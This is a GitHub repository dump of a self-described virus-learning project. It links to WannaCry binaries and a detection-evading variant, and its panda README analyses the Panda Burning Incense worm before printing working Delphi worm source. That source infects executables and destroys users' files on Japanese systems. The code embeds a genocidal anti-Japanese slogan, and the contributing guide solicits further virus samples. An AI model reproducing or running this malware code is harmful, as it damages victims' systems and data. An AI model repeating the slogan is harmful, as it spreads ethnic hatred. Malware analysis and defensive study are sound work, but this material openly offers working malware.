├── .github
├── CONTRIBUTING.md
└── PULL_REQUEST_TEMPLATE.md
├── README.md
├── WannaCry
├── BlueSpider
│ ├── README.md
│ ├── figure
│ │ ├── finally-1.png
│ │ └── finally-2.png
│ └── sources
│ │ ├── BlueSpider.exe
│ │ ├── BlueSpider.zip
│ │ ├── 精易模块5.51.ec
│ │ └── 蓝蜘蛛.e
└── EternalBlue
│ ├── README.md
│ ├── figure
│ └── WannaCry-example.png
│ └── sources
│ ├── FILE_ID.DIZ
│ ├── decryptor.c
│ ├── wcry.exe
│ ├── wcry.zip
│ └── worm.c
└── panda
├── README.md
├── figure
├── 01.png
├── 02.jpg
├── 03.png
├── 04.png
├── 05.jpg
├── 1.gif
├── 1.png
├── 10.gif
├── 12.gif
├── 13.gif
├── 14.gif
├── 15.png
├── 16.gif
├── 17.gif
├── 18.png
├── 19.png
├── 2.gif
├── 3.gif
├── 4.gif
├── 5.gif
├── 6.gif
├── 7.gif
├── 8.gif
└── 9.gif
└── sources
├── Demo.rar
├── Procmon.exe
├── panda made in Angel_Kitty.rar
├── panda-virus-source.txt
├── panda.idb
├── panda.udd
└── sources by Angel_Kitty.e
/.github/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | CONTRIBUTING to Computer-Virus
2 | ---
3 |
4 | > 目前网上很缺乏关于如何去开发病毒和研究病毒的一些素材和学习资料。我希望的是大家来共同维护着一个开源的学习平台。在你从本项目中获取某个有用的病毒资料时,相对的,我希望你能向 `Computer-Virus` 贡献一个病毒样例。
5 |
6 | ## 向 Computer-Virus 贡献前需要注意的几个点:
7 |
8 | - [接受何种形式的贡献](#cc)
9 | - [目录结构](#dir)
10 | - [病毒文件说明](#files)
11 | - [Commit 规范](#commit)
12 | - [贡献流程](#howto)
13 | - [联系方式](#url)
14 |
15 | ### 接受何种形式的贡献
16 |
17 | * 新增环境及完善资料
18 | * 病毒源程序
19 | * 病毒详细说明
20 | * 病毒运行程序
21 | * 病毒查杀工具
22 | * 原有程序 Bug 修复
23 | * 逆向分析病毒报告
24 |
25 | ### Computer-Virus 目录结构
26 |
27 | `/组件首字母/组件名/该组件的目录下的维一编号/`
28 |
29 | > 一律采取小写
30 | >
31 | > 唯一编号使用阿拉伯数字
32 |
33 | ```
34 | .
35 | ├── README.md
36 | ├── base 组件基础
37 | ├── 组件名称
38 | │ ├── README.md(组件列表)
39 | │ └── 组件名
40 | │ ├── README.md(组件病毒文件列表)
41 | │ ├── 唯一编号
42 | │ └── 唯一编号
43 | ├── panda
44 | │ ├── README.md
45 | │ └── figure
46 | │ | ├── README.md
47 | │ | ├── 1
48 | │ | └── 2
49 | │ └── sources
50 | │ | ├── README.md
51 | │ | ├── 1
52 | │ | └── 2
53 | │ └── tools
54 | │ ├── README.md
55 | │ ├── 1
56 | │ └── 2
57 | ├── WannaCry
58 | │ ├── README.md
59 | │ └── figure
60 | │ | ├── README.md
61 | │ | ├── 1
62 | │ | └── 2
63 | │ └── sources
64 | │ | ├── README.md
65 | │ | ├── 1
66 | │ | └── 2
67 | │ └── tools
68 | │ ├── README.md
69 | │ ├── 1
70 | │ └── 2
71 | ```
72 |
73 | ### 病毒样例文件说明
74 |
75 | ```
76 | .
77 | ├── README.md 病毒说明(需要指明病毒详细信息及开发思路、来源、分析思路(包括但不限于特征行为分析))
78 | ├── figure 存放README.md中涉及的图片信息
79 | ├── sources 存放病毒源程序和运行程序
80 | ├── tools 存放病毒的查杀工具
81 | ```
82 |
83 | ### Commit 规范
84 |
85 | Commit 分为标题和主体两部分,标题要求必须要简洁明了。对标题的详细补充在主体中体现,如果标题已经充分表达出提交者的意思,主体可省略。
86 |
87 | ```
88 | (操作 文件类型: 病毒的组件名) 插件名或组件版本号
89 | <空行>
90 | 详细的说明
91 | ```
92 |
93 | * 操作:
94 | * Add 添加
95 | * Update 更新
96 | * Fix 修补 Bug
97 | * Delete 删除
98 |
99 |
100 | ### 贡献流程
101 |
102 | * Step1. fork 本仓库到你自己的仓库
103 |
104 | * Step2. clone 自己的仓库到本地
105 |
106 | * Step3. 本地添加环境或修改文档,然后推至远端自己的仓库
107 |
108 | * Step4. 发起 Pull Request
109 |
110 | ### 联系方式
111 |
112 | * 博客园:https://www.cnblogs.com/ECJTUACM-873284962/
113 | * Gmail邮箱:
--------------------------------------------------------------------------------
/.github/PULL_REQUEST_TEMPLATE.md:
--------------------------------------------------------------------------------
1 | Thanks for contributing to Computer-Virus!
2 |
3 | Before you submit this pull request, please read
4 | - [CONTRIBUTING](https://github.com/AngelKitty/Computer-Virus/blob/master/.github/CONTRIBUTING.md)
5 | - [README](https://github.com/AngelKitty/Computer-Virus)
6 |
7 | Please remove these message before PR.
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## Computer-Virus
2 |
3 | [](https://github.com/AngelKitty/Computer-Virus)
4 |
5 | 这里是一个开源的学习电脑病毒以及相应专杀工具开发的平台,觉得好的各位亲不要吝啬你们的 **`star`** && **`fork`**,我们一起为了打造一个学习平台而不懈努力。
6 |
7 | 目前所编写的病毒库如下:
8 |
9 | - [panda](https://github.com/AngelKitty/Computer-Virus/tree/master/panda)
10 | - [BlueSpider](https://github.com/AngelKitty/Computer-Virus/tree/master/WannaCry/BlueSpider)
11 | - [EternalBlue](https://github.com/AngelKitty/Computer-Virus/tree/master/WannaCry/EternalBlue)
12 |
13 | ### 版权声明
14 |
15 | 
本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。
16 |
17 | ### 相关链接
18 |
19 | * [如何参与Computer-Virus](./.github/CONTRIBUTING.md)
20 | * [联系方式](./.github/CONTRIBUTING.md#url)
21 |
22 | ### 致谢列表
23 |
24 | * [@AngelKitty](https://github.com/AngelKitty)
25 |
--------------------------------------------------------------------------------
/WannaCry/BlueSpider/README.md:
--------------------------------------------------------------------------------
1 | ## BlueSpider
2 |
3 | 仿照 `WannaCry` 病毒写的一个变种版的,非常的简易,能过微软的查杀,具体效果如下图:
4 |
5 | 
6 |
7 | 
--------------------------------------------------------------------------------
/WannaCry/BlueSpider/figure/finally-1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/WannaCry/BlueSpider/figure/finally-1.png
--------------------------------------------------------------------------------
/WannaCry/BlueSpider/figure/finally-2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/WannaCry/BlueSpider/figure/finally-2.png
--------------------------------------------------------------------------------
/WannaCry/BlueSpider/sources/BlueSpider.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/WannaCry/BlueSpider/sources/BlueSpider.exe
--------------------------------------------------------------------------------
/WannaCry/BlueSpider/sources/BlueSpider.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/WannaCry/BlueSpider/sources/BlueSpider.zip
--------------------------------------------------------------------------------
/WannaCry/BlueSpider/sources/精易模块5.51.ec:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/WannaCry/BlueSpider/sources/精易模块5.51.ec
--------------------------------------------------------------------------------
/WannaCry/BlueSpider/sources/蓝蜘蛛.e:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/WannaCry/BlueSpider/sources/蓝蜘蛛.e
--------------------------------------------------------------------------------
/WannaCry/EternalBlue/README.md:
--------------------------------------------------------------------------------
1 | ## 永恒之蓝样本(勒索病毒)
2 |
3 | > 病毒名称(`Virus Name` ): `WannaCrypt` , `WannaCry` , `WanaCrypt0r` , `WCrypt` , `WCRY`
4 |
5 | 勒索病毒 `WannaCry` 借助高危漏洞“永恒之蓝” `(EternalBlue)` 在世界范围内爆发,据报道包括美国、英国、中国、俄罗斯、西班牙、意大利、越南等百余个国家均遭受大规模攻击。
6 |
7 | **加密文件类型 `(The filetypes it looks for to encrypt are)` **
8 |
9 | > `.doc, .docx, .xls, .xlsx, .ppt, .pptx, .pst, .ost, .msg, .eml, .vsd, .vsdx, .txt, .csv, .rtf, .123, .wks, .wk1, .pdf, .dwg, .onetoc2, .snt, .jpeg, .jpg, .docb, .docm, .dot, .dotm, .dotx, .xlsm, .xlsb, .xlw, .xlt, .xlm, .xlc, .xltx, .xltm, .pptm, .pot, .pps, .ppsm, .ppsx, .ppam, .potx, .potm, .edb, .hwp, .602, .sxi, .sti, .sldx, .sldm, .sldm, .vdi, .vmdk, .vmx, .gpg, .aes, .ARC, .PAQ, .bz2, .tbk, .bak, .tar, .tgz, .gz, .7z, .rar, .zip, .backup, .iso, .vcd, .bmp, .png, .gif, .raw, .cgm, .tif, .tiff, .nef, .psd, .ai, .svg, .djvu, .m4u, .m3u, .mid, .wma, .flv, .3g2, .mkv, .3gp, .mp4, .mov, .avi, .asf, .mpeg, .vob, .mpg, .wmv, .fla, .swf, .wav, .mp3, .sh, .class, .jar, .java, .rb, .asp, .php, .jsp, .brd, .sch, .dch, .dip, .pl, .vb, .vbs, .ps1, .bat, .cmd, .js, .asm, .h, .pas, .cpp, .c, .cs, .suo, .sln, .ldf, .mdf, .ibd, .myi, .myd, .frm, .odb, .dbf, .db, .mdb, .accdb, .sql, .sqlitedb, .sqlite3, .asc, .lay6, .lay, .mml, .sxm, .otg, .odg, .uop, .std, .sxd, .otp, .odp, .wb2, .slk, .dif, .stc, .sxc, .ots, .ods, .3dm, .max, .3ds, .uot, .stw, .sxw, .ott, .odt, .pem, .p12, .csr, .crt, .key, .pfx, .der`
10 |
11 | “永恒之蓝”可远程攻击 `Windows` 的 `445` 端口(文件共享),如果系统没有安装今年3月的微软补丁,无需用户任何操作,只要开机上网,“永恒之蓝”就能在电脑里执行任意代码,植入勒索病毒等恶意程序。
12 |
13 | “永恒之蓝”传播的勒索病毒以 `ONION` 和 `WNCRY` 两个家族为主,受害机器的磁盘文件会被篡改为相应的后缀,图片、文档、视频、压缩包等各类资料都无法正常打开,只有支付赎金才能解密恢复。
14 |
15 | 本样本是以 `WNCRY` 家族,下图为病毒样式:
16 |
17 | 
18 |
19 | ----2018.11.7更新----
20 |
21 | 对应的病毒反编译的 `C` 语言源码以及查杀工具源码在 `decryptor` 在 `source` 里面也提供了。以后有空再写分析一下这个源码该怎么写吧。
--------------------------------------------------------------------------------
/WannaCry/EternalBlue/figure/WannaCry-example.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/WannaCry/EternalBlue/figure/WannaCry-example.png
--------------------------------------------------------------------------------
/WannaCry/EternalBlue/sources/FILE_ID.DIZ:
--------------------------------------------------------------------------------
1 | This phile passed through Hacker House
2 |
--------------------------------------------------------------------------------
/WannaCry/EternalBlue/sources/wcry.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/WannaCry/EternalBlue/sources/wcry.exe
--------------------------------------------------------------------------------
/WannaCry/EternalBlue/sources/wcry.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AngelKitty/Computer-Virus/45c24f79e41c6a65c5a97e08d7903477cf475100/WannaCry/EternalBlue/sources/wcry.zip
--------------------------------------------------------------------------------
/panda/README.md:
--------------------------------------------------------------------------------
1 | # 自己手动复现一个熊猫烧香病毒
2 |
3 | ### 起因
4 |
5 | 最近逛了一下 `bilibili` ,偶然的一次机会,我在 `bilibili` 上看到了某个 `up` 主分享了一个他自己仿照熊猫病毒的原型制作的一个病毒的演示视频,虽然这个病毒的出现距离现在已经十多年之久了,但是它的威胁性仍然不亚于永恒之蓝,出现了很多变种病毒。我觉得蛮有意思的,有必要深究一下,所以我花上几天的时间研究了一下熊猫烧香病毒的源码,仿照熊猫烧香病毒原型,也制作了一个类似的软件,实现的源码我会在文章的末尾给出 `GitHub` 项目链接,喜欢的朋友不要忘记给我一个 `star and follow` 呀!
6 |
7 | ### 熊猫烧香的介绍
8 |
9 | 熊猫烧香是一个感染性的蠕虫病毒,它能感染系统中的 `exe` ,`com` ,`pif`,`src`,`html`,`asp` 等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为 `gho` 的文件,该文件是一系统备份工具 `GHOST` 的备份文件,使用户的系统备份文件丢失。被感染的用户系统中所有的.exe可执行文件图标全部被改成熊猫烧香的图标,如下图所示:
10 |
11 | 
12 |
13 | 如果有同学对熊猫烧香的来源感兴趣的话,可以看看中科大写的关于熊猫烧香的案件分析:[由“熊猫烧香”谈起](http://staff.ustc.edu.cn/~lszhuang/law09/xiongmaoshaoxiang.pdf)
14 |
15 | ### 病毒结构分析
16 |
17 | 
18 |
19 | 从上述的流程图中我们可以看到,含有病毒体的文件被运行后,病毒将自身拷贝至系统目录,同时修改注册表,将自身设置为开机启动项,并遍历各个驱动器,将自身写入磁盘根目录,增加一个 `autorun.inf` 文件,使得用户打开该盘符时激活病毒体。随后病毒体开一个县城进行本地文件感染,同时开另外一个线程连接网站下载 `DDoS` 程序发起恶意攻击。
20 |
21 | ### 具体行为分析
22 |
23 | 病毒的主要行为分为以下三部分:
24 |
25 | - 自我保护与自我复制
26 |
27 | - 感染
28 |
29 | - 病毒自我保护
30 |
31 | 自我保护与自我复制行为就是复制自身到系统目录、双击被感染程序可以检测判断 `spcolsv.exe` 是否存在,从被感染的文件分裂出病毒程序重新执行。
32 |
33 | 
34 |
35 | 感染的行为主要是感染全盘(本地)、定时器感染全盘(本地)、局域网感染(联网)
36 |
37 | 
38 |
39 | 病毒自我保护行为主要是设置注册表、停止杀软、网站下载代码并执行。
40 |
41 | 
42 |
43 | 我们一起来带大家演示一下这个病毒吧~~~
44 |
45 | #### 环境准备
46 |
47 | - Windows 7 企业版
48 |
49 | - VMware Workstation 12
50 |
51 | - panda.exe
52 |
53 | - Process Monitor v3.10
54 |
55 | 我们先看下下面这个操作
56 |
57 | 
58 |
59 | 从上面这个操作,我们可以看到,我们打开任务管理器的时候,当前我们任务管理器有49个进程,我们可以通过对比任务管理器就可以知道,病毒创建了哪些进程。我们运行了病毒程序以后,我们可以发现,任务管理器自动关闭了,我们再尝试打开任务管理器,我们会发现,我们无法打开任务管理器,说明病毒程序已经对我们的系统造成了影响。
60 |
61 | 
62 |
63 | 紧接着,我们还可以看到 `Windows` 安全中心服务已关闭,我们大概可以判断出,病毒程序关闭了我们的防火墙。
64 |
65 | 那我们现在如何查看当前系统的进程呢?
66 |
67 | 
68 |
69 | 我们可以通过 `cmd` 调出命令提示符,输入 `tasklist` 可以列出当前系统的进程,我们和之前的系统进程进行匹配,我们可以发现,多出了一个 `spcolsv.exe` 的进程,我们可以大胆地猜测,这个就是病毒所创建出来的程序。
70 |
71 | 我们行为分析主要用的是 `Process Monitor` 工具,我们用过滤功能筛选出 `panda.exe` 进程信息,我们可以看到捕获到了许多有关 `panda.exe` 的进程信息。
72 |
73 | 
74 |
75 | 我们可以先看下进程树,我们可以看到,由 `panda.exe` 衍生出了一个名为 `spcolsv.exe` 的程序,文件位置为 `C:\Windows\system32\drivers\spcolsv.exe` ,而这个程序又两次打开了 `cmd.exe` ,我们可以看下这里所运行的命令。
76 |
77 | `net share C$ /del /y` 这条命令主要是删除C盘的共享,由于我目前的虚拟机中只有一个盘符C,所以我们有理由相信,如果病毒在真实机中运行,真实机中会有好几个盘符的话,它应该会删除所有盘符的共享。
78 |
79 | `net share admin$ /del /y` 这条命令删除了根目录的共享。
80 |
81 | 看到这里,我们可以总结出病毒的两点行为:
82 |
83 | - 病毒本身创建了名为 `spcolsv.exe` 的进程,该进程文件的路径为 `C:\WINDOWS\system32\drivers\spcolsv.exe` 。
84 |
85 | - 在命令行模式下使用 `net share` 命令来取消系统中的共享。
86 |
87 | 
88 |
89 | 下面我们可以看下 `Process Monitor` 对病毒的监控
90 |
91 | 我们可以先看下对注册表的监控,我们通过筛选,似乎没有发现很多有用的信息,说明 `panda.exe` 对于注册表没有什么实质的影响
92 |
93 | 
94 |
95 | 接下来我们可以看下对文件的监控,由于文件项有那么多,我们就只关注对文件的创建部分,我们通过筛选发现, `panda.exe` 文件在 `C:\WINDOWS\system32\drivers` 中创建了 `spcolsv.exe` ,我们并没有发现其他的东西,所以我们可以猜测,真正对系统产生影响的可能就是 `spcolsv.exe` 这个程序
96 |
97 | 
98 |
99 | 所以我们下一步的操作应当是只监控 `spcolsv.exe` 这样一个程序,这里我们需要将进程名为 `spcolsv.exe` 的进程加入筛选器进行分析。一般来说,病毒所产生的操作会比较多,所以我在这里为了便于讨论,我每次只会列出几项操作进行显示,其它的操作就由筛选器排除掉。首先可以查看一下 `RegDeleteValue` 这个操作:
100 |
101 | 
102 |
103 | 可见病毒程序将当时几乎所有的安全类工具的自启动项给删除了,我们可以得出病毒的第三点行为:
104 |
105 | - 删除安全类软件在注册表中的启动项
106 |
107 | 然后我们只保留 `RegCreateKey` 与 `RegSetValue` 进行分析
108 |
109 | 
110 |
111 | 可见,病毒程序为自身创建了自启动项,使得每次启动计算机就会执行自身,因此我们可以得出病毒的第四点行为:
112 |
113 | - 在注册表 `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` 中创建 `svcshare` ,用于在开机时启动位于 `C:\WINDOWS\system32\drivers\spcolsv.exe` 的病毒程序
114 |
115 | 接下来我们可以看到,病毒程序对注册表的这个位置进行设置,能够实现文件的隐藏。此处进行设置后,即便在“文件夹选项”中选择“显示所有文件和文件夹”,也无法显示隐藏文件。
116 |
117 | 
118 |
119 | 我们可以得出病毒的第五点行为:
120 |
121 | - 修改注册表,使得隐藏文件无法通过普通的设置进行显示,该位置为: `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL` ,病毒将 `CheckedValue` 的键值设置为了0。
122 |
123 | 至此,注册表部分就基本分析完毕了。
124 |
125 | 我们继续看看文件的监控,我们主要看的是病毒是否将自己复制到其他目录,或者创建删除了哪些文件等。
126 |
127 | 
128 |
129 | 在图中可以看到,病毒文件在 `C:\WINDOWS\system32\drivers` 中创建了 `spcolsv.exe` 这个文件,在C盘根目录下创建了 `setup.exe` 与 `autorun.inf` ,并且在一些目录中创建了 `Desktop_.ini` 这个文件。由于创建这些文件之后就对注册表的 `SHOWALL` 项进行了设置,使得隐藏文件无法显示,那么有理由相信,所创建出来的这些文件的属性都是“隐藏”的,我们可以得出病毒的两点行为:
130 |
131 | - 将自身拷贝到根目录,并命名为 `setup.exe` ,同时创建 `autorun.inf` 用于病毒的启动,这两个文件的属性都是“隐藏”。
132 |
133 | - 在一些目录中创建名为 `Desktop_.ini` 的隐藏文件。
134 |
135 | 现在只进行网络监控,来查看病毒是否有联网动作
136 |
137 | 
138 |
139 | 从监控结果可以看到,病毒会向 `61.131.208.210` 发送并接收信息,并不断尝试连接 `192.168.152.X` 即局域网中的其它计算机,我们可以总结出病毒的第八点行为:
140 |
141 | - 向外发包,连接局域网中其他机器
142 |
143 | ### 源码分析
144 |
145 | 网上开源的代码绝大多数都是用 `Delphi` 编写的
146 |
147 | 病毒文件初始信息如下:
148 |
149 | ```
150 | program Japussy;
151 | uses
152 | Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
153 | const
154 | HeaderSize = 82432; //病毒体的大小
155 | IconOffset = $12EB8; //PE文件主图标的偏移量
156 |
157 | //在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
158 | //查找2800000020的十六进制字符串可以找到主图标的偏移量
159 |
160 | {
161 | HeaderSize = 38912; //Upx压缩过病毒体的大小
162 | IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
163 |
164 | //Upx 1.24W 用法: upx -9 --8086 Japussy.exe
165 | }
166 | IconSize = $2E8; //PE文件主图标的大小--744字节
167 | IconTail = IconOffset + IconSize; //PE文件主图标的尾部
168 | ID = $44444444; //感染标记
169 | ```
170 |
171 | 垃圾码,以备写入
172 |
173 | ```
174 | //垃圾码,以备写入
175 | Catchword = 'If a race need to be killed out, it must be Yamato. ' +
176 | 'If a country need to be destroyed, it must be Japan! ' +
177 | '*** W32.Japussy.Worm.A ***';
178 | {$R *.RES}
179 | function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
180 | stdcall; external 'Kernel32.dll'; //函数声明
181 | var
182 | TmpFile: string;
183 | Si: STARTUPINFO;
184 | Pi: PROCESS_INFORMATION;
185 | IsJap: Boolean = False; //日文操作系统标记
186 | ```
187 |
188 | 判断是否为 `Win9x`
189 |
190 | ```
191 | { 判断是否为Win9x }
192 | function IsWin9x: Boolean;
193 | var
194 | Ver: TOSVersionInfo;
195 | begin
196 | Result := False;
197 | Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
198 | if not GetVersionEx(Ver) then
199 | Exit;
200 | if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
201 | Result := True;
202 | end;
203 | ```
204 |
205 | 在流之间复制
206 |
207 | ```
208 | { 在流之间复制 }
209 | procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
210 | dStartPos: Integer; Count: Integer);
211 | var
212 | sCurPos, dCurPos: Integer;
213 | begin
214 | sCurPos := Src.Position;
215 | dCurPos := Dst.Position;
216 | Src.Seek(sStartPos, 0);
217 | Dst.Seek(dStartPos, 0);
218 | Dst.CopyFrom(Src, Count);
219 | Src.Seek(sCurPos, 0);
220 | Dst.Seek(dCurPos, 0);
221 | end;
222 | ```
223 |
224 | 将宿主文件从已感染的PE文件中分离出来,以备使用
225 |
226 | ```
227 | { 将宿主文件从已感染的PE文件中分离出来,以备使用 }
228 | procedure ExtractFile(FileName: string);
229 | var
230 | sStream, dStream: TFileStream;
231 | begin
232 | try
233 | sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
234 | try
235 | dStream := TFileStream.Create(FileName, fmCreate);
236 | try
237 | sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
238 | dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
239 | finally
240 | dStream.Free;
241 | end;
242 | finally
243 | sStream.Free;
244 | end;
245 | except
246 | end;
247 | end;
248 | ```
249 |
250 | 填充 `Startup Info` 结构
251 |
252 | ```
253 | { 填充STARTUPINFO结构 }
254 | procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
255 | begin
256 | Si.cb := SizeOf(Si);
257 | Si.lpReserved := nil;
258 | Si.lpDesktop := nil;
259 | Si.lpTitle := nil;
260 | Si.dwFlags := STARTF_USESHOWWINDOW;
261 | Si.wShowWindow := State;
262 | Si.cbReserved2 := 0;
263 | Si.lpReserved2 := nil;
264 | end;
265 | ```
266 |
267 | 发带毒邮件
268 |
269 | ```
270 | { 发带毒邮件 }
271 | procedure SendMail;//此处省略了带危害性的代码
272 | begin
273 | end;
274 | ```
275 |
276 | 感染 `PE` 文件
277 |
278 | ```
279 | { 感染PE文件 }
280 | procedure InfectOneFile(FileName: string);
281 | var
282 | HdrStream, SrcStream: TFileStream;
283 | IcoStream, DstStream: TMemoryStream;
284 | iID: LongInt;
285 | aIcon: TIcon;
286 | Infected, IsPE: Boolean;
287 | i: Integer;
288 | Buf: array[0..1] of Char;
289 | begin
290 | try //出错则文件正在被使用,退出
291 | if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
292 | Exit;
293 | Infected := False;
294 | IsPE := False;
295 | SrcStream := TFileStream.Create(FileName, fmOpenRead);
296 | try
297 | for i := 0 to $108 do //检查PE文件头
298 | begin
299 | SrcStream.Seek(i, soFromBeginning);
300 | SrcStream.Read(Buf, 2);
301 | if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
302 | begin
303 | IsPE := True; //是PE文件
304 | Break;
305 | end;
306 | end;
307 | SrcStream.Seek(-4, soFromEnd); //检查感染标记
308 | SrcStream.Read(iID, 4);
309 | if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
310 | Infected := True;
311 | finally
312 | SrcStream.Free;
313 | end;
314 | if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
315 | Exit;
316 | IcoStream := TMemoryStream.Create;
317 | DstStream := TMemoryStream.Create;
318 | try
319 | aIcon := TIcon.Create;
320 | try
321 | //得到被感染文件的主图标(744字节),存入流
322 | aIcon.ReleaseHandle;
323 | aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
324 | aIcon.SaveToStream(IcoStream);
325 | finally
326 | aIcon.Free;
327 | end;
328 | SrcStream := TFileStream.Create(FileName, fmOpenRead);
329 | //头文件
330 | HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
331 | try
332 | //写入病毒体主图标之前的数据
333 | CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
334 | //写入目前程序的主图标
335 | CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
336 | //写入病毒体主图标到病毒体尾部之间的数据
337 | CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
338 | //写入宿主程序
339 | CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
340 | //写入已感染的标记
341 | DstStream.Seek(0, 2);
342 | iID := $44444444;
343 | DstStream.Write(iID, 4);
344 | finally
345 | HdrStream.Free;
346 | end;
347 | finally
348 | SrcStream.Free;
349 | IcoStream.Free;
350 | DstStream.SaveToFile(FileName); //替换宿主文件
351 | DstStream.Free;
352 | end;
353 | except;
354 | end;
355 | end;
356 | ```
357 |
358 | 将目标文件写入垃圾码后删除
359 |
360 | ```
361 | { 将目标文件写入垃圾码后删除 }
362 | procedure SmashFile(FileName: string);
363 | var
364 | FileHandle: Integer;
365 | i, Size, Mass, Max, Len: Integer;
366 | begin
367 | try
368 | SetFileAttributes(PChar(FileName), 0); //去掉只读属性
369 | FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
370 | try
371 | Size := GetFileSize(FileHandle, nil); //文件大小
372 | i := 0;
373 | Randomize;
374 | Max := Random(15); //写入垃圾码的随机次数
375 | if Max < 5 then
376 | Max := 5;
377 | Mass := Size div Max; //每个间隔块的大小
378 | Len := Length(Catchword);
379 | while i < Max do
380 | begin
381 | FileSeek(FileHandle, i * Mass, 0); //定位
382 | //写入垃圾码,将文件彻底破坏掉
383 | FileWrite(FileHandle, Catchword, Len);
384 | Inc(i);
385 | end;
386 | finally
387 | FileClose(FileHandle); //关闭文件
388 | end;
389 | DeleteFile(PChar(FileName)); //删除之
390 | except
391 | end;
392 | end;
393 | ```
394 |
395 | 获得可写的驱动器列表
396 |
397 | ```
398 | { 获得可写的驱动器列表 }
399 | function GetDrives: string;
400 | var
401 | DiskType: Word;
402 | D: Char;
403 | Str: string;
404 | i: Integer;
405 | begin
406 | for i := 0 to 25 do //遍历26个字母
407 | begin
408 | D := Chr(i + 65);
409 | Str := D + ':';
410 | DiskType := GetDriveType(PChar(Str));
411 | //得到本地磁盘和网络盘
412 | if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
413 | Result := Result + D;
414 | end;
415 | end;
416 | ```
417 |
418 | 遍历目录,感染和摧毁文件
419 |
420 | ```
421 | { 遍历目录,感染和摧毁文件 }
422 | procedure LoopFiles(Path, Mask: string);
423 | var
424 | i, Count: Integer;
425 | Fn, Ext: string;
426 | SubDir: TStrings;
427 | SearchRec: TSearchRec;
428 | Msg: TMsg;
429 | function IsValidDir(SearchRec: TSearchRec): Integer;
430 | begin
431 | if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
432 | (SearchRec.Name <> '..') then
433 | Result := 0 //不是目录
434 | else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
435 | (SearchRec.Name <> '..') then
436 | Result := 1 //不是根目录
437 | else Result := 2; //是根目录
438 | end;
439 | begin
440 | if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
441 | begin
442 | repeat
443 | PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
444 | if IsValidDir(SearchRec) = 0 then
445 | begin
446 | Fn := Path + SearchRec.Name;
447 | Ext := UpperCase(ExtractFileExt(Fn));
448 | if (Ext = '.EXE') or (Ext = '.SCR') then
449 | begin
450 | InfectOneFile(Fn); //感染可执行文件
451 | end
452 | else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
453 | begin
454 | //感染HTML和ASP文件,将Base64编码后的病毒写入
455 | //感染浏览此网页的所有用户
456 | //哪位大兄弟愿意完成之?
457 | end
458 | else if Ext = '.WAB' then //Outlook地址簿文件
459 | begin
460 | //获取Outlook邮件地址
461 | end
462 | else if Ext = '.ADC' then //Foxmail地址自动完成文件
463 | begin
464 | //获取Foxmail邮件地址
465 | end
466 | else if Ext = 'IND' then //Foxmail地址簿文件
467 | begin
468 | //获取Foxmail邮件地址
469 | end
470 | else
471 | begin
472 | if IsJap then //是倭文操作系统
473 | begin
474 | if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
475 | (Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
476 | (Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
477 | (Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
478 | (Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
479 | (Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
480 | SmashFile(Fn); //摧毁文件
481 | end;
482 | end;
483 | end;
